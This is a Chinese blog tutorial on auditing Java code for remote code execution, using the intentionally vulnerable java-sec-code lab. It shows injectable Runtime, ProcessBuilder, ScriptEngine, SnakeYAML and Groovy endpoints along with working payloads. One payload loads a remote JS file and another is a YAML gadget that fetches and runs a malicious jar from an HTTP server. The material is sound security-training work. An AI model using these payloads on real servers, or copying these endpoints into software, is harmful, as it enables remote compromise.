Java代码审计(二)-远程代码执行

RCE 简述

RCE (Remote Code Execution), 远程代码执行漏洞,这里包含两种类型漏洞:命令注入(Command Injection),在某种开发需求中,需要引入对系统本地命令的支持来完成特定功能,当未对输入做过滤时,则会产生命令注入。代码注入(Code Injection),在正常的java程序中注入一段java代码并执行,即用户输入的数据当作java代码进行执行。

Java 命令执行函数

Java 命令执行函数相对 PHP 来说,能够进行命令执行的函数并不多,只有两个 Runtime ,ProcessBuilder,其他方法也能进行命令执行,本文主要介绍如下:

| 函数/其他              | 作用                                             |
| --------------------- | --------------------------------------------     |
| Runtime               | 命令执行                                          |
| ProcessBuilder        | 命令执行                                          |
| ScriptEbgine(JScmd) | 加载远程 js 文件来执行命令                          |
| yml                   | 利用 SnakeYAML 将 yaml 文件解析 yml,进行命令执行   |
| groovy                | 不安全使用 groovy 导致命令执行                     |

靶场搭建

一、项目地址

1
https://github.com/JoyChou93/java-sec-code

二、环境配置

1、导入源码中的 sql 文件至 Mysql 数据库。

image-20220924211209757

image-20220924211301830

2、修改源码数据库 root 密码

image-20220924210314888

3、编译项目

image-20220915164044238

右键run,成功启动项目

image-20220915164142524

成功搭建,账号密码:admin/admin123、joychou/joychou123

image-20220915164229589

image-20220915164400359

若前期环境没有搭建,请参考上一篇文章。

漏洞学习

一、Runtime 命令执行

Runtime 类封装了运行时的环境,每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。一般不能实例化一个 Runtime 对象,应用程序也不能创建自己的 Runtime 类实例,但可以通过 getRuntime 方法获取当前 Runtime 运行时对象的引用。当 Runtime 的对象被引用,就可以调用 Runtime 对象的方法去控制 Java 虚拟机的状态和行为。

漏洞分析,具体漏洞代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@RestController
@RequestMapping("/rce")
public class Rce {

@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();

try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}

if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}

inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}

IDEA调试分析,定位漏洞代码,利用IDEA全局搜索,定位危险函数 右键目录 -》 Find in files

image-20220918141941315

搜索 runtime

image-20220918142058897

当多处存在则需要进一步分析,定位到 runtime 危险函数文件为 Rce.java , 初步分析其代码,没有发现进行过滤处理

image-20220918142354828

跟进 getRuntime() 方法,Ctrl + 鼠标左键 点击 getRuntime, 代码没有进行任何过滤,直接返回 currentRuntime 对象, 由下图可知,currentRuntime 为类 Runtime 的实例对象。也就是说,每次调用 getRuntime() 方法都会由类 Runtime 产生一个新的实例对象 new Runtime()

image-20220918142639287

代码即可分析为,当调用了 getRuntime() 产生了一个新的 Runtime 对象后,再进行下一步执行 run.exec()

image-20220918143346281

跟进 exec 方法, Ctrl + 鼠标左键点击 exec ,通过实例化了 Runtime.getRuntime() ,利用 exec 去执行传入的参数。

image-20220918144021479

漏洞复现,定位漏洞路径,按自上到下的方法初步定位路径 /rce/runtime/exec?cmd

image-20220918144306263

成功复现

image-20220918144431283

image-20220918144521945

小结:通过全局搜索 Runtime ,定位是否存在危险函数,然后查看其代码是否采取了过滤机制,再跟进代码分析其执行方法,最后定位漏洞路径进行漏洞复现。


二、ProcessBuilder 命令执行

ProcessBuilder 类通过创建系统进程执行命令,每个 ProcessBuilder 实例管理一个进程的属性,start() 方法使用这些属性创建一个新的 Process 实例。可以从同一实例重复调用start() 方法以创建具有相同或相关属性的新子进程。

漏洞分析,具体漏洞代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {

StringBuilder sb = new StringBuilder();

try {
// String[] arrCmd = {"/bin/sh", "-c", cmd}; //Linux
String[] arrCmd = {cmd}; //Windows
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}

return sb.toString();
}

核心代码, 创建 ProcessBuilder 实例化对象,调用 start 方法执行 arrCmd

1
2
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();

返回 Process 对象 p 调用 getInputStream 获取输入流,读取输入流写入输入流。

1
2
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));

漏洞路径找寻,依旧按照从上而下的方法找寻路径

image-20220923103044841

image-20220923103020225

拼接路径,漏洞复现 http://192.168.114.131:8080/rce/ProcessBuilder?cmd=calc.exe

image-20220923101155900

小结:参考第一部分方法,通过全局搜索 ProcessBuilder 定位是否存在危险函数,然后查看其代码是否采取了过滤机制,再跟进代码分析其执行方法,最后定位漏洞路径进行漏洞复现。


三、ScriptEngine 命令执行(jscmd)

ScriptEngine 是一个脚本引擎,包含一些操作方法,eval ,createBindings, setBindings。通过 ScriptEngine 获取 jsurl 传入的 js 脚本文件,然后再通过 engine.getBindings 获取 js 脚本文件中的方法和属性,加载 js 之后将其赋值给 cmd,然后再通过 engine.eval 执行,⚠️ 在 Java 8之后移除了 ScriptEngineManagereval

具体漏洞源码如下:

1
2
3
4
5
6
7
8
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}

恶意js代码,放置于VPS中,待远程调用

1
2
3
4
var a = mainOutput(); 
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc");
}

漏洞复现,vps上放置恶意代码

image-20220924200159394

远程访问加载恶意 js 实现攻击,构造链接为:http://127.0.0.1:8080/jscmd?jsurl=http://x.x.x.x:8000/test.js

image-20220924200052768

小结:通过全局搜索 ScriptEngine 定位是否存在危险函数,然后查看其代码是否采取了过滤机制,再跟进代码分析其执行方法,最后定位漏洞路径进行漏洞复现。


四、yml命令执行

YAML(YAML Ain’t Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件。原理利用 SnakeYAML 存在的反序列化漏洞进行 RCE,系统在解析恶意 yml 内容时会完成指定的动作。触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。

yaml有三种数据结构,结构如下:

● 对象

1
2
3
4
5
6
7
# 写在一行
address: {province: 山东, city: 济南}

# 写在多行
address:
province: 山东
city: 济南

● 数组

1
2
3
4
5
6
7
# 写在一行
hobbyList: [游泳, 跑步]

# 写在多行
hobbyList:
- 游泳
- 跑步

● 纯量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 字符串 默认不用加引号,包含空格或特殊字符必须加引号,单引号或双引号都可以
userId: S123
username: "lisi"
password: '123456'
province: 山东
city: "济南 : ss"

# 布尔值
success: true

# 整数
age: 13

# 浮点数
weight: 75.5

# Null
gender: ~

# 时间
createDate: 2001-12-14T21:59:43.10+05

漏洞分析,具体漏洞代码如下:

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/vuln/yarm")
public void yarm(String content) {
Yaml y = new Yaml();
y.load(content);
}

@GetMapping("/sec/yarm")
public void secYarm(String content) {
Yaml y = new Yaml(new SafeConstructor());
y.load(content);
}

Payload 项目地址:https://github.com/artsploit/yaml-payload ,恶意代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("calc.exe");
//Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

漏洞复现,先编译 java 再将恶意代码带入 yaml-payload.jar

1
2
javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

image-20220924203259186

image-20220924212111867

然后VPS Python 临时起一个服务放置 yaml-payload.jar(这里使用本机起服务)

image-20220924212749312

image-20220924212459768

拼接如下内容:

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]

访问后弹出记事本

1
2
3
4
5
http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]

image-20220924212609577


五、Groovy

Groovy 是一种基于Java平台的面向对象语言。

漏洞分析,具体漏洞代码如下:

1
2
3
4
5
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}

主要原理,不安全的使用了 Groovy 调用命令,对用户的输入没有进行过滤。content 为用户输入的命令,groovy 接收指令后,利用 evaluate 进行执行。

image-20220923105400989

漏洞复现,构造链接为:http://127.0.0.1:8080/rce/groovy?content="calc".execute()

image-20220924205355487


六、其他

1)由于代码对于用户传入的类、类的方法、类的参数没有做任何限制,亦可以导致 RCE 的产生。
2)由表达式注入导致的RCE漏洞,常见的如:OGNL、SpEL、MVEL、EL、Fel、JST+EL 等
3)由java后端模板引擎注入导致的 RCE 漏洞,常见的如:Freemarker、Velocity、Thymeleaf 等
4)由第三方开源组件引起的 RCE 漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、weblogic 等

小结

这里只参考了 Java-sec-code 项目中的 RCE 漏洞进行学习,当然实战中的变化也不单单只有这些俗套的套路。后续会继续学习其他的挖掘方法、利用方法。

参考文章:

1
2
3
4
5
https://www.freebuf.com/articles/web/338055.html
https://cbatl.gitee.io/2021/12/09/javaseccode1/
https://www.cnpanda.net/codeaudit/705.html
https://www.ol4three.com/2021/08/12/WEB/Code_audit/Java-sec-code%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
https://www.cnblogs.com/CoLo/p/15240834.html#:~:text=ProcessBuilder%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%201%E3%80%81%E5%88%9B%E5%BB%BAProcessBuilder%E5%AE%9E%E4%BE%8B%E5%8C%96%E5%AF%B9%E8%B1%A1,2%E3%80%81%E8%B0%83%E7%94%A8start%E6%96%B9%E6%B3%95%E6%89%A7%E8%A1%8C%203%E3%80%81%E8%BF%94%E5%9B%9E%E7%9A%84Process%E5%AF%B9%E8%B1%A1%E8%B0%83%E7%94%A8getInputStream%E8%8E%B7%E5%8F%96%E8%BE%93%E5%85%A5%E6%B5%81%204%E3%80%81%E8%AF%BB%E5%8F%96%E8%BE%93%E5%85%A5%E6%B5%81%E5%86%99%E5%85%A5%E8%BE%93%E5%87%BA%E6%B5%81